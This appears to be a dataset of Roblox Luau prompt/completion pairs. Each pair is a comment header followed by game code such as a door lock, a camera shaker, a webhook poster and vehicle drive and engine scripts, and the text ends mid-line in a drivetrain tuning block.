prompt
stringlengths 2
14.7k
| completion
stringlengths 1
99.7k
|
---|---|
--[=[
Returns true if a number is finite
@param num number
@return boolean
]=]
|
function Math.isFinite(num: number): boolean
return num > -math.huge and num < math.huge
end
|
--LockController
|
Closed = true
function LockItems()
end
script.Parent.Touched:connect(function(P)
if P ~= nil and P.Parent ~= nil and P.Parent:FindFirstChild("CardNumber") ~= nil and P.Parent.CardNumber.Value == 0 then
if Closed == true then
Closed = 1
script.Locked.Value = false
LockItems()
script.Parent.Open.Value = true
wait(1)
Closed = false
return
end
if Closed == false then
Closed = 1
script.Locked.Value = true
LockItems()
script.Parent.Open.Value = false
wait(1)
Closed = true
return
end
end
end)
|
--// Ammo Settings
|
Ammo = 10;
StoredAmmo = 10;
MagCount = math.huge; -- If you want infinate ammo, set to math.huge EX. MagCount = math.huge;
ExplosiveAmmo = 0;
|
--[[
Create a copy of a list where each value is transformed by `callback`
]]
|
local function map(list, callback)
local new = {}
for i = 1, #list do
new[i] = callback(list[i], i)
end
return new
end
return map
|
-- EchoAUS Custom Health Gui
-- All this script does is put everything where it's supposed to be.
|
local function EnableScripts(i)
local t = string.split(i.Name, ".")
if t[#t] == "lua" and i:IsA("BaseScript") then
i.Name = table.concat(t, ".", 1, #t - 1)
i.Disabled = false
end
end
local function MoveFolder(item, parent)
if item:IsA("Folder") then
if parent and parent:FindFirstChild(item.Name) then
for _, i in ipairs (item:GetChildren()) do
MoveFolder(i, parent[item.Name])
end
else
local success, p = pcall(function()
return game:GetService(item.Name)
end)
if success then
for _, i in ipairs (item:GetChildren()) do
MoveFolder(i, p)
end
end
end
elseif parent then
local i = item:Clone()
i.Parent = parent
EnableScripts(i)
for _, s in ipairs (i:GetDescendants()) do
EnableScripts(s)
end
end
return
end
for _, v in ipairs (script:GetChildren()) do
if v:IsA("Folder") and game:GetService(v.Name) then
MoveFolder(v)
end
end
local parent = script.Parent
if parent:IsA("Model") then
parent:Destroy()
end
|
--TweenService Wrapper
--Andrew Bereza
|
return function (object, properties, value, duration, style, direction)
style = style or Enum.EasingStyle.Quad
direction = direction or Enum.EasingDirection.Out
duration = duration or 0.5
local propertyGoals = {}
local isTable = type(value) == "table"
for i,property in pairs(properties) do
propertyGoals[property] = isTable and value[i] or value
end
local tweenInfo = TweenInfo.new(
duration,
style,
direction
)
local tween = game:GetService("TweenService"):Create(object,tweenInfo,propertyGoals)
tween:Play()
return tween
end
|
--Creates a display Gui for the soft shutdown.
|
return function()
local ScreenGui = Instance.new("ScreenGui")
ScreenGui.Name = "SoftShutdownGui"
ScreenGui.DisplayOrder = 100
--Create background to cover behind top bar.
local Frame = Instance.new("Frame")
Frame.BackgroundColor3 = Color3.fromRGB(79,217,255)
Frame.Position = UDim2.new(-0.5,0,-0.5,0)
Frame.Size = UDim2.new(2,0,2,0)
Frame.ZIndex = 10
Frame.Parent = ScreenGui
local function CreateTextLabel(Size,Position,Text)
local TextLabel = Instance.new("TextLabel")
TextLabel.BackgroundTransparency = 1
TextLabel.Size = Size
TextLabel.Position = Position
TextLabel.Text = Text
TextLabel.ZIndex = 10
TextLabel.Font = "SourceSansBold"
TextLabel.TextScaled = true
TextLabel.TextColor3 = Color3.new(1,1,1)
TextLabel.TextStrokeColor3 = Color3.new(0,0,0)
TextLabel.TextStrokeTransparency = 0
TextLabel.Parent = Frame
end
--Create text.
CreateTextLabel(UDim2.new(0.5,0,0.1,0),UDim2.new(0.25,0,0.4,0),"ATTENTION")
CreateTextLabel(UDim2.new(0.5,0,0.05,0),UDim2.new(0.25,0,0.475,0),"This server is being updated")
CreateTextLabel(UDim2.new(0.5,0,0.03,0),UDim2.new(0.25,0,0.55,0),"Please wait")
--Return the ScreenGui and the background.
return ScreenGui,Frame
end
|
-- Define the function to open or close the windows with gene-alike effect
|
local function toggleWindows()
local anyWindowVisible = false
for _, window in pairs(windows) do
if window.Visible then
anyWindowVisible = true
backShelf.Visible = true
dockShelf.Visible = true
window:TweenSizeAndPosition(
UDim2.new(0.363, 0, 0.019, 0),
UDim2.new(0.311, 0, 0.978, 0),
'Out',
'Quad',
-- Determine the tween speed based on the uiSpeedSetting
ClipSettings.settings.uiSpeedSetting and uiSpeedUser.Value or UISpeed,
false,
function()
window.Visible = false
end
)
end
end
if not anyWindowVisible then
end
end
|
--[[
CameraUtils - Math utility functions shared by multiple camera scripts
2018 Camera Update - AllYourBlox
--]]
|
local CameraUtils = {}
local function round(num: number)
return math.floor(num + 0.5)
end
|
---------------------------------------------------------------------------------------
|
local webhookService = {}
local https = game:GetService("HttpService")
function webhookService:createMessage(url, message)
local data = {
["content"] = message
}
local finalData = https:JSONEncode(data)
https:PostAsync(url, finalData)
end
function webhookService:createEmbed(url, title, message, image)
local data = {
['content'] = "",
['embeds'] = {{
['author'] = {
['name'] = title,
['icon_url'] = image,
},
['description'] = message,
['type'] = "rich",
["color"] = tonumber(0xffffff)
}}
}
local finalData = https:JSONEncode(data)
https:PostAsync(url, finalData)
end
return webhookService
|
--[[
StreamableUtil.Compound(observers: {Observer}, handler: ({[child: string]: Instance}, janitor: Janitor) -> void): Janitor
Example:
local streamable1 = Streamable.new(someModel, "SomeChild")
local streamable2 = Streamable.new(anotherModel, "AnotherChild")
StreamableUtil.Compound({S1 = streamable1, S2 = streamable2}, function(streamables, janitor)
local someChild = streamables.S1.Instance
local anotherChild = streamables.S2.Instance
janitor:Add(function()
-- Cleanup
end)
end)
--]]
|
local Janitor = require(script.Parent.Janitor)
local _Streamable = require(script.Parent.Streamable)
type Streamables = {_Streamable.Streamable}
type CompoundHandler = (Streamables, any) -> nil
local StreamableUtil = {}
function StreamableUtil.Compound(streamables: Streamables, handler: CompoundHandler)
local compoundJanitor = Janitor.new()
local observeAllJanitor = Janitor.new()
local allAvailable = false
local function Check()
if allAvailable then return end
for _,streamable in pairs(streamables) do
if not streamable.Instance then
return
end
end
allAvailable = true
handler(streamables, observeAllJanitor)
end
local function Cleanup()
if not allAvailable then return end
allAvailable = false
observeAllJanitor:Clean()
end
for _,streamable in pairs(streamables) do
compoundJanitor:Add(streamable:Observe(function(_child, janitor)
Check()
janitor:Add(Cleanup)
end))
end
compoundJanitor:Add(Cleanup)
return compoundJanitor
end
return StreamableUtil
|
--[[ alexnewtron 2014 ]]
|
--
local a=script.Parent;local b=0.5;while true do if a.Parent~=nil then for c=1,50 do a.ImageTransparency=a.ImageTransparency-0.05;wait(0.05)if a.ImageTransparency<=0.25 then break end end;wait(b)for c=1,50 do a.ImageTransparency=a.ImageTransparency+0.05;wait(0.05)if a.ImageTransparency>=0.5 then break end end end end
|
-----------------
--| Constants |--
-----------------
|
local POP_RESTORE_RATE = 0.3
local CAST_SCREEN_SCALES = { -- (Relative)
Vector2.new(1, 1) / 2, -- Center
Vector2.new(0, 0), -- Top left
Vector2.new(1, 0), -- Top right
Vector2.new(1, 1), -- Bottom right
Vector2.new(0, 1), -- Bottom left
}
local VALID_SUBJECTS = {
'Humanoid',
'VehicleSeat',
'SkateboardPlatform',
}
local NEAR_CLIP_PLANE_OFFSET = 0.5 --NOTE: Not configurable here
|
--local Util = require(game.ReplicatedStorage.Modules.Util)
|
game:GetService("UserInputService").InputBegan:Connect(function(input,gameprocessed)
if input.KeyCode == Enum.KeyCode.LeftAlt then
--Util:UnlockMouse("Admin")
end
if gameprocessed then
return
end
if input.UserInputType == Enum.UserInputType.MouseButton1 and game:GetService("UserInputService"):IsKeyDown(Enum.KeyCode.LeftAlt) then
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = Mouse.Hit * CFrame.new(0,3,0)
end
end)
game:GetService("UserInputService").InputEnded:Connect(function(input,gameprocessed)
if input.KeyCode == Enum.KeyCode.LeftAlt then
--Util:DeleteMouseUnlock("Admin")
end
end)
game:GetService("UserInputService").InputBegan:Connect(function(input,gameprocessed)
if not gameprocessed then
if input.KeyCode == Enum.KeyCode.F2 then
script.Parent.Enabled = not script.Parent.Enabled
end
end
end)
|
--[[Controls]]
|
local _CTRL = _Tune.Controls
local Controls = Instance.new("Folder",script.Parent)
Controls.Name = "Controls"
for i,v in pairs(_CTRL) do
local a=Instance.new("StringValue",Controls)
a.Name=i
a.Value=v.Name
a.Changed:connect(function()
if i=="MouseThrottle" or i=="MouseBrake" then
if a.Value == "MouseButton1" or a.Value == "MouseButton2" then
_CTRL[i]=Enum.UserInputType[a.Value]
else
_CTRL[i]=Enum.KeyCode[a.Value]
end
else
_CTRL[i]=Enum.KeyCode[a.Value]
end
end)
end
--Deadzone Adjust
local _PPH = _Tune.Peripherals
for i,v in pairs(_PPH) do
local a = Instance.new("IntValue",Controls)
a.Name = i
a.Value = v
a.Changed:connect(function()
a.Value=math.min(100,math.max(0,a.Value))
_PPH[i] = a.Value
end)
end
--Input Handler
function DealWithInput(input,IsRobloxFunction)
if (UserInputService:GetFocusedTextBox()==nil) and not _InControls then --Ignore when UI Focus
--Shift Down [Manual Transmission]
if _IsOn and (input.KeyCode ==_CTRL["ContlrShiftDown"] or (_MSteer and input.KeyCode==_CTRL["MouseShiftDown"]) or ((not _MSteer) and input.KeyCode==_CTRL["ShiftDown"])) and (_TMode=="Semi" or (_TMode=="Manual" and (not _ClutchOn))) and input.UserInputState == Enum.UserInputState.Begin then
if _CGear == 0 and (_TMode=="Auto" or not _ClPressing) then _ClutchOn = true end
_CGear = math.max(_CGear-1,-1)
--Shift Up [Manual Transmission]
elseif _IsOn and (input.KeyCode ==_CTRL["ContlrShiftUp"] or (_MSteer and input.KeyCode==_CTRL["MouseShiftUp"]) or ((not _MSteer) and input.KeyCode==_CTRL["ShiftUp"])) and (_TMode=="Semi" or (_TMode=="Manual" and (not _ClutchOn))) and input.UserInputState == Enum.UserInputState.Begin then
if _CGear == 0 and (_TMode=="Auto" or not _ClPressing) then _ClutchOn = true end
_CGear = math.min(_CGear+1,#_Tune.Ratios-2)
--Toggle Clutch
elseif _IsOn and (input.KeyCode ==_CTRL["ContlrClutch"] or (_MSteer and input.KeyCode==_CTRL["MouseClutch"]) or ((not _MSteer) and input.KeyCode==_CTRL["Clutch"])) and _TMode=="Manual" then
if input.UserInputState == Enum.UserInputState.Begin then
_ClutchOn = false
_ClPressing = true
elseif input.UserInputState == Enum.UserInputState.End then
_ClutchOn = true
_ClPressing = false
end
--Toggle PBrake
elseif _IsOn and input.KeyCode ==_CTRL["ContlrPBrake"] or (_MSteer and input.KeyCode==_CTRL["MousePBrake"]) or ((not _MSteer) and input.KeyCode==_CTRL["PBrake"]) then
if input.UserInputState == Enum.UserInputState.Begin then
_PBrake = not _PBrake
elseif input.UserInputState == Enum.UserInputState.End then
if car.DriveSeat.Velocity.Magnitude>5 then
_PBrake = false
end
end
--Toggle Transmission Mode
elseif (input.KeyCode == _CTRL["ContlrToggleTMode"] or input.KeyCode==_CTRL["ToggleTransMode"]) and input.UserInputState == Enum.UserInputState.Begin then
local n=1
for i,v in pairs(_Tune.TransModes) do
if v==_TMode then n=i break end
end
n=n+1
if n>#_Tune.TransModes then n=1 end
_TMode = _Tune.TransModes[n]
--Throttle
elseif _IsOn and ((not _MSteer) and (input.KeyCode==_CTRL["Throttle"] or input.KeyCode == _CTRL["Throttle2"])) or ((((_CTRL["MouseThrottle"]==Enum.UserInputType.MouseButton1 or _CTRL["MouseThrottle"]==Enum.UserInputType.MouseButton2) and input.UserInputType == _CTRL["MouseThrottle"]) or input.KeyCode == _CTRL["MouseThrottle"])and _MSteer) then
if input.UserInputState == Enum.UserInputState.Begin then
_GThrot = 1
else
_GThrot = _Tune.IdleThrottle/100
end
--Brake
elseif ((not _MSteer) and (input.KeyCode==_CTRL["Brake"] or input.KeyCode == _CTRL["Brake2"])) or ((((_CTRL["MouseBrake"]==Enum.UserInputType.MouseButton1 or _CTRL["MouseBrake"]==Enum.UserInputType.MouseButton2) and input.UserInputType == _CTRL["MouseBrake"]) or input.KeyCode == _CTRL["MouseBrake"])and _MSteer) then
if input.UserInputState == Enum.UserInputState.Begin then
_GBrake = 1
else
_GBrake = 0
end
--Steer Left
elseif (not _MSteer) and (input.KeyCode==_CTRL["SteerLeft"] or input.KeyCode == _CTRL["SteerLeft2"]) then
if input.UserInputState == Enum.UserInputState.Begin then
_GSteerT = -1
_SteerL = true
else
if _SteerR then
_GSteerT = 1
else
_GSteerT = 0
end
_SteerL = false
end
--Steer Right
elseif (not _MSteer) and (input.KeyCode==_CTRL["SteerRight"] or input.KeyCode == _CTRL["SteerRight2"]) then
if input.UserInputState == Enum.UserInputState.Begin then
_GSteerT = 1
_SteerR = true
else
if _SteerL then
_GSteerT = -1
else
_GSteerT = 0
end
_SteerR = false
end
--Toggle Mouse Controls
elseif input.KeyCode ==_CTRL["ToggleMouseDrive"] then
if input.UserInputState == Enum.UserInputState.End then
_MSteer = not _MSteer
_GThrot = _Tune.IdleThrottle/100
_GBrake = 0
_GSteerT = 0
_ClutchOn = true
end
--Toggle TCS
elseif _Tune.TCSEnabled and _IsOn and input.KeyCode == _CTRL["ToggleTCS"] or input.KeyCode == _CTRL["ContlrToggleTCS"] then
if input.UserInputState == Enum.UserInputState.End then
_TCS = not _TCS
end
--Toggle ABS
elseif _Tune. ABSEnabled and _IsOn and input.KeyCode == _CTRL["ToggleABS"] or input.KeyCode == _CTRL["ContlrToggleABS"] then
if input.UserInputState == Enum.UserInputState.End then
_ABS = not _ABS
end
end
--Variable Controls
if input.UserInputType.Name:find("Gamepad") then
--Gamepad Steering
if input.KeyCode == _CTRL["ContlrSteer"] then
if input.Position.X>= 0 then
local cDZone = math.min(.99,_Tune.Peripherals.ControlRDZone/100)
if math.abs(input.Position.X)>cDZone then
_GSteerT = (input.Position.X-cDZone)/(1-cDZone)
else
_GSteerT = 0
end
else
local cDZone = math.min(.99,_Tune.Peripherals.ControlLDZone/100)
if math.abs(input.Position.X)>cDZone then
_GSteerT = (input.Position.X+cDZone)/(1-cDZone)
else
_GSteerT = 0
end
end
--Gamepad Throttle
elseif _IsOn and input.KeyCode == _CTRL["ContlrThrottle"] then
_GThrot = math.max(_Tune.IdleThrottle/100,input.Position.Z)
--Gamepad Brake
elseif input.KeyCode == _CTRL["ContlrBrake"] then
_GBrake = input.Position.Z
end
end
else
_GThrot = _Tune.IdleThrottle/100
_GSteerT = 0
_GBrake = 0
if _CGear~=0 then _ClutchOn = true end
end
end
UserInputService.InputBegan:connect(DealWithInput)
UserInputService.InputChanged:connect(DealWithInput)
UserInputService.InputEnded:connect(DealWithInput)
if UserInputService.TouchEnabled and not UserInputService.KeyboardEnabled then
local buttons = player.PlayerGui.UI.CarButtons
buttons.Visible = true
local function handleLeftButton(input)
if input.UserInputState == Enum.UserInputState.Begin then
_GSteerT = -1
_SteerL = true
else
if _SteerR then
_GSteerT = 1
else
_GSteerT = 0
end
_SteerL = false
end
end
local function handleRightButton(input)
if input.UserInputState == Enum.UserInputState.Begin then
_GSteerT = 1
_SteerR = true
else
if _SteerL then
_GSteerT = -1
else
_GSteerT = 0
end
_SteerR = false
end
end
local function handleForwardButton(input)
if input.UserInputState == Enum.UserInputState.Begin and _IsOn then
_GThrot = 1
else
_GThrot = _Tune.IdleThrottle/100
end
end
local function handleReverseButton(input)
if input.UserInputState == Enum.UserInputState.Begin then
--_PBrake = true
--_GBrake = 0
--_GThrot = 1
_GBrake = 1
_GThrot = _Tune.IdleThrottle/100
elseif input.UserInputState == Enum.UserInputState.End then
--_PBrake = false
_GBrake = 0
-- _GThrot = _Tune.IdleThrottle/100
end
end
buttons.Left.InputBegan:Connect(handleLeftButton)
buttons.Left.InputEnded:Connect(handleLeftButton)
buttons.Right.InputBegan:Connect(handleRightButton)
buttons.Right.InputEnded:Connect(handleRightButton)
buttons.Forward.InputBegan:Connect(handleForwardButton)
buttons.Forward.InputEnded:Connect(handleForwardButton)
buttons.Reverse.InputBegan:Connect(handleReverseButton)
buttons.Reverse.InputEnded:Connect(handleReverseButton)
end
|
--[[Engine]]
|
local fFD = _Tune.FinalDrive*_Tune.FDMult
--Horsepower Curve
local fgc_h=_Tune.Horsepower/100
local fgc_n=_Tune.PeakRPM/1000
local fgc_a=_Tune.PeakSharpness
local fgc_c=_Tune.CurveMult
function FGC(x)
x=x/1000
return (((-(x-fgc_n)^2)*math.min(fgc_h/(fgc_n^2),fgc_c^(fgc_n/fgc_h)))+fgc_h)*(x-((x^fgc_a)/((fgc_a*fgc_n)^(fgc_a-1))))
end
local PeakFGC = FGC(_Tune.PeakRPM)
--Plot Current Horsepower
local cGrav = workspace.Gravity/26.5
function GetCurve(x)
local hp=math.max((FGC(x)*_Tune.Horsepower)/PeakFGC,0)
local iComp =(car.DriveSeat.CFrame.lookVector.y)*_Tune.InclineComp*cGrav
if _CGear==-1 then iComp=-iComp end
return hp,hp*(_Tune.EqPoint/x)*_Tune.Ratios[_CGear+2]*fFD*math.max(1,(1+iComp))*hpScaling---dum
end
--Powertrain
function Engine()
--Neutral Gear
if _CGear==0 then _ClutchOn = false end
--Car Is Off
local revMin = _Tune.IdleRPM
if not _IsOn then
revMin = 0
_CGear = 0
_ClutchOn = false
_GThrot = _Tune.IdleThrottle/100
end
--Determine RPM
local maxSpin=0
for i,v in pairs(Drive) do
if v.RotVelocity.Magnitude>maxSpin then maxSpin = v.RotVelocity.Magnitude end
end
if _ClutchOn then
local aRPM = math.max(math.min(maxSpin*_Tune.Ratios[_CGear+2]*fFD*30/math.pi,_Tune.Redline+100),revMin)
local clutchP = math.min(math.abs(aRPM-_RPM)/_Tune.ClutchTol,.9)
_RPM = _RPM*clutchP + aRPM*(1-clutchP)
_HP,_OutTorque = GetCurve(_RPM)
else
if _GThrot-(_Tune.IdleThrottle/100)>0 then
_RPM = math.min(_RPM+_Tune.RevAccel*_GThrot,_Tune.Redline+100)
else
_RPM = math.max(_RPM-_Tune.RevDecay,revMin)
end
_OutTorque = 0
end
--Rev Limiter
local spLimit = 0
if _RPM>_Tune.Redline then
if _CGear<#_Tune.Ratios-2 then
_RPM = _RPM-_Tune.RevBounce
spLimit = 0
else
_RPM = _RPM-_Tune.RevBounce*.5
end
else
spLimit = (_Tune.Redline+100)*math.pi/(30*_Tune.Ratios[_CGear+2]*fFD)
end
--Automatic Transmission
if _TMode == "Auto" and _IsOn then
_ClutchOn = true
if _CGear == 0 then _CGear = 1 end
if _CGear >= 1 then
if _CGear==1 and _GBrake > 0 and car.DriveSeat.Velocity.Magnitude < 0 then
_CGear = -1
else
if _Tune.AutoShiftMode == "RPM" then
if _RPM>(_Tune.PeakRPM+_Tune.AutoUpThresh) then
_CGear=math.min(_CGear+1,#_Tune.Ratios-2)
elseif math.max(math.min(maxSpin*_Tune.Ratios[_CGear+1]*fFD*30/math.pi,_Tune.Redline+100),_Tune.IdleRPM)<(_Tune.PeakRPM-_Tune.AutoDownThresh) then
_CGear=math.max(_CGear-1,1)
end
else
if car.DriveSeat.Velocity.Magnitude > math.ceil(wDia*math.pi*(_Tune.PeakRPM+_Tune.AutoUpThresh)/60/_Tune.Ratios[_CGear+2]/fFD) then
_CGear=math.min(_CGear+1,#_Tune.Ratios-2)
elseif car.DriveSeat.Velocity.Magnitude < math.ceil(wDia*math.pi*(_Tune.PeakRPM-_Tune.AutoDownThresh)/60/_Tune.Ratios[_CGear+1]/fFD) then
_CGear=math.max(_CGear-1,1)
end
end
end
else
if _GThrot-(_Tune.IdleThrottle/100) > 0 and car.DriveSeat.Velocity.Magnitude < 0 then
_CGear = 1
end
end
end
--Average Rotational Speed Calculation
local fwspeed=0
local fwcount=0
local rwspeed=0
local rwcount=0
for i,v in pairs(car.Wheels:GetChildren()) do
if v.Name=="FL" or v.Name=="FR" or v.Name == "F" then
fwspeed=fwspeed+v.RotVelocity.Magnitude
fwcount=fwcount+1
elseif v.Name=="RL" or v.Name=="RR" or v.Name == "R" then
rwspeed=rwspeed+v.RotVelocity.Magnitude
rwcount=rwcount+1
end
end
fwspeed=fwspeed/fwcount
rwspeed=rwspeed/rwcount
local cwspeed=(fwspeed+rwspeed)/2
--Update Wheels
for i,v in pairs(car.Wheels:GetChildren()) do
--Reference Wheel Orientation
local Ref=(CFrame.new(v.Position-((v.Arm.CFrame*CFrame.Angles(math.pi/2,-math.pi/2,0)).lookVector),v.Position)*CFrame.Angles(0,math.pi,0)).lookVector
local aRef=1
local diffMult=1
if v.Name=="FL" or v.Name=="RL" then aRef=-1 end
--AWD Torque Scaling
if _Tune.Config == "AWD" then _OutTorque = _OutTorque*(2^.5)/2 end
--Differential/Torque-Vectoring
if v.Name=="FL" or v.Name=="FR" then
diffMult=math.max(0,math.min(1,1+((((v.RotVelocity.Magnitude-fwspeed)/fwspeed)/(math.max(_Tune.FDiffSlipThres,1)/100))*((_Tune.FDiffLockThres-50)/50))))
if _Tune.Config == "AWD" then
diffMult=math.max(0,math.min(1,diffMult*(1+((((fwspeed-cwspeed)/cwspeed)/(math.max(_Tune.CDiffSlipThres,1)/100))*((_Tune.CDiffLockThres-50)/50)))))
end
elseif v.Name=="RL" or v.Name=="RR" then
diffMult=math.max(0,math.min(1,1+((((v.RotVelocity.Magnitude-rwspeed)/rwspeed)/(math.max(_Tune.RDiffSlipThres,1)/100))*((_Tune.RDiffLockThres-50)/50))))
if _Tune.Config == "AWD" then
diffMult=math.max(0,math.min(1,diffMult*(1+((((rwspeed-cwspeed)/cwspeed)/(math.max(_Tune.CDiffSlipThres,1)/100))*((_Tune.CDiffLockThres-50)/50)))))
end
end
_TCSActive = false
_ABSActive = false
--Output
if _PBrake and ((_Tune.Config ~= "FWD" and (((v.Name=="FL" or v.Name=="FR") and car.DriveSeat.Velocity.Magnitude<20) or ((v.Name=="RR" or v.Name=="RL") and car.DriveSeat.Velocity.Magnitude>=20))) or (_Tune.Config == "FWD" and (v.Name=="RR" or v.Name=="RL"))) then
--PBrake
v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*PBrakeForce
v["#AV"].angularvelocity=Vector3.new()
else
--Apply Power
if ((_TMode == "Manual" or _TMode == "Semi") and _GBrake==0) or (_TMode == "Auto" and ((_CGear>-1 and _GBrake==0 ) or (_CGear==-1 and _GThrot-(_Tune.IdleThrottle/100)==0 )))then
local driven = false
for _,a in pairs(Drive) do if a==v then driven = true end end
if driven then
local on=1
if not car.DriveSeat.IsOn.Value then on=0 end
local throt = _GThrot
if _TMode == "Auto" and _CGear==-1 then throt = _GBrake end
--Apply TCS
local tqTCS = 1
if _TCS then
tqTCS = 1-(math.min(math.max(0,math.abs(v.RotVelocity.Magnitude*(v.Size.x/2) - v.Velocity.Magnitude)-_Tune.TCSThreshold)/_Tune.TCSGradient,1)*(1-(_Tune.TCSLimit/100)))
end
if tqTCS < 1 then
_TCSActive = true
end
--Update Forces
local dir = 1
if _CGear==-1 then dir = -1 end
v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*_OutTorque*(1+(v.RotVelocity.Magnitude/60)^1.15)*throt*tqTCS*diffMult*on
v["#AV"].angularvelocity=Ref*aRef*spLimit*dir
else
v["#AV"].maxTorque=Vector3.new()
v["#AV"].angularvelocity=Vector3.new()
end
--Brakes
else
local brake = _GBrake
if _TMode == "Auto" and _CGear==-1 then brake = _GThrot end
--Apply ABS
local tqABS = 1
if _ABS and math.abs(v.RotVelocity.Magnitude*(v.Size.x/2) - v.Velocity.Magnitude)-_Tune.ABSThreshold>0 then
tqABS = 0
end
if tqABS < 1 then
_ABSActive = true
end
--Update Forces
if v.Name=="FL" or v.Name=="FR" or v.Name=="F" then
v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*FBrakeForce*brake*tqABS
else
v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*RBrakeForce*brake*tqABS
end
v["#AV"].angularvelocity=Vector3.new()
end
end
end
end
|
--NOTICE!--
--This is a signal designed to prevent yellow trap. The main SignalValue should be opposite of the SignalValue that normally would have been the direction it is placed. Turn values are not affected and should be used normally
--Ie. If the signal is placed alongside Signal1 signals, then the SignalValue should be Signal1a; In the same situation, TurnSignal1 should stay as-is.
| |
--[[
CameraShaker.CameraShakeInstance
cameraShaker = CameraShaker.new(renderPriority, callbackFunction)
CameraShaker:Start()
CameraShaker:Stop()
CameraShaker:Shake(shakeInstance)
CameraShaker:ShakeSustain(shakeInstance)
CameraShaker:ShakeOnce(magnitude, roughness [, fadeInTime, fadeOutTime, posInfluence, rotInfluence])
CameraShaker:StartShake(magnitude, roughness [, fadeInTime, posInfluence, rotInfluence])
EXAMPLE:
local camShake = CameraShaker.new(Enum.RenderPriority.Camera.Value, function(shakeCFrame)
camera.CFrame = playerCFrame * shakeCFrame
end)
camShake:Start()
-- Explosion shake:
camShake:Shake(CameraShaker.Presets.Explosion)
wait(1)
-- Custom shake:
camShake:ShakeOnce(3, 1, 0.2, 1.5)
wait(1)
-- Sustained shake:
local swayShakeInstance = CameraShaker.Presets.GentleSway
camShake:ShakeSustain(swayShakeInstance)
wait(3)
-- Sustained shake fadeout:
swayShakeInstance:StartFadeOut(3)
-- "CameraShaker.Presets.GentleSway" or any other preset
-- will always return a new ShakeInstance. If you want
-- to fade out a previously sustained ShakeInstance, you
-- will need to assign it to a variable before sustaining it.
NOTE:
This was based entirely on the EZ Camera Shake asset for Unity3D. I was given written
permission by the developer, Road Turtle Games, to port this to Roblox.
Original asset link: https://assetstore.unity.com/packages/tools/camera/ez-camera-shake-33148
--]]
|
local CameraShaker = {}
CameraShaker.__index = CameraShaker
CameraShaker.__aeroPreventStart = true
local profileBegin = debug.profilebegin
local profileEnd = debug.profileend
local profileTag = "CameraShakerUpdate"
local V3 = Vector3.new
local CF = CFrame.new
local ANG = CFrame.Angles
local RAD = math.rad
local v3Zero = V3()
local CameraShakeInstance = require(script.CameraShakeInstance)
local CameraShakeState = CameraShakeInstance.CameraShakeState
local defaultPosInfluence = V3(0.15, 0.15, 0.15)
local defaultRotInfluence = V3(1, 1, 1)
CameraShaker.CameraShakeInstance = CameraShakeInstance
CameraShaker.Presets = require(script.CameraShakePresets)
function CameraShaker.new(renderPriority, callback)
assert(type(renderPriority) == "number", "RenderPriority must be a number (e.g.: Enum.RenderPriority.Camera.Value)")
assert(type(callback) == "function", "Callback must be a function")
local self = setmetatable({
_running = false;
_renderName = "CameraShaker";
_renderPriority = renderPriority;
_posAddShake = v3Zero;
_rotAddShake = v3Zero;
_camShakeInstances = {};
_removeInstances = {};
_callback = callback;
}, CameraShaker)
return self
end
function CameraShaker:Start()
if (self._running) then return end
self._running = true
local callback = self._callback
game:GetService("RunService"):BindToRenderStep(self._renderName, self._renderPriority, function(dt)
profileBegin(profileTag)
local cf = self:Update(dt)
profileEnd()
callback(cf)
end)
end
function CameraShaker:Stop()
if (not self._running) then return end
game:GetService("RunService"):UnbindFromRenderStep(self._renderName)
self._running = false
end
function CameraShaker:Update(dt)
local posAddShake = v3Zero
local rotAddShake = v3Zero
local instances = self._camShakeInstances
-- Update all instances:
for i = 1,#instances do
local c = instances[i]
local state = c:GetState()
if (state == CameraShakeState.Inactive and c.DeleteOnInactive) then
self._removeInstances[#self._removeInstances + 1] = i
elseif (state ~= CameraShakeState.Inactive) then
posAddShake = posAddShake + (c:UpdateShake(dt) * c.PositionInfluence)
rotAddShake = rotAddShake + (c:UpdateShake(dt) * c.RotationInfluence)
end
end
-- Remove dead instances:
for i = #self._removeInstances,1,-1 do
local instIndex = self._removeInstances[i]
table.remove(instances, instIndex)
self._removeInstances[i] = nil
end
return CF(posAddShake) *
ANG(0, RAD(rotAddShake.Y), 0) *
ANG(RAD(rotAddShake.X), 0, RAD(rotAddShake.Z))
end
function CameraShaker:Shake(shakeInstance)
assert(type(shakeInstance) == "table" and shakeInstance._camShakeInstance, "ShakeInstance must be of type CameraShakeInstance")
self._camShakeInstances[#self._camShakeInstances + 1] = shakeInstance
return shakeInstance
end
function CameraShaker:ShakeSustain(shakeInstance)
assert(type(shakeInstance) == "table" and shakeInstance._camShakeInstance, "ShakeInstance must be of type CameraShakeInstance")
self._camShakeInstances[#self._camShakeInstances + 1] = shakeInstance
shakeInstance:StartFadeIn(shakeInstance.fadeInDuration)
return shakeInstance
end
function CameraShaker:ShakeOnce(magnitude, roughness, fadeInTime, fadeOutTime, posInfluence, rotInfluence)
local shakeInstance = CameraShakeInstance.new(magnitude, roughness, fadeInTime, fadeOutTime)
shakeInstance.PositionInfluence = (typeof(posInfluence) == "Vector3" and posInfluence or defaultPosInfluence)
shakeInstance.RotationInfluence = (typeof(rotInfluence) == "Vector3" and rotInfluence or defaultRotInfluence)
self._camShakeInstances[#self._camShakeInstances + 1] = shakeInstance
return shakeInstance
end
function CameraShaker:StartShake(magnitude, roughness, fadeInTime, posInfluence, rotInfluence)
local shakeInstance = CameraShakeInstance.new(magnitude, roughness, fadeInTime)
shakeInstance.PositionInfluence = (typeof(posInfluence) == "Vector3" and posInfluence or defaultPosInfluence)
shakeInstance.RotationInfluence = (typeof(rotInfluence) == "Vector3" and rotInfluence or defaultRotInfluence)
shakeInstance:StartFadeIn(fadeInTime)
self._camShakeInstances[#self._camShakeInstances + 1] = shakeInstance
return shakeInstance
end
return CameraShaker
|
---
|
local Paint = false
script.Parent.MouseButton1Click:connect(function()
Paint = not Paint
handler:FireServer("Pearl",Paint)
end)
|
--[[Drivetrain]]
|
Tune.Config = "AWD" --"FWD" , "RWD" , "AWD"
--Differential Settings
Tune.FDiffSlipThres = 60 -- 1 - 100% (Max threshold of applying full lock determined by deviation from avg speed)
Tune.FDiffLockThres = 65 -- 0 - 100% (0 - Bias toward slower wheel, 100 - Bias toward faster wheel)
Tune.RDiffSlipThres = 45 -- 1 - 100%
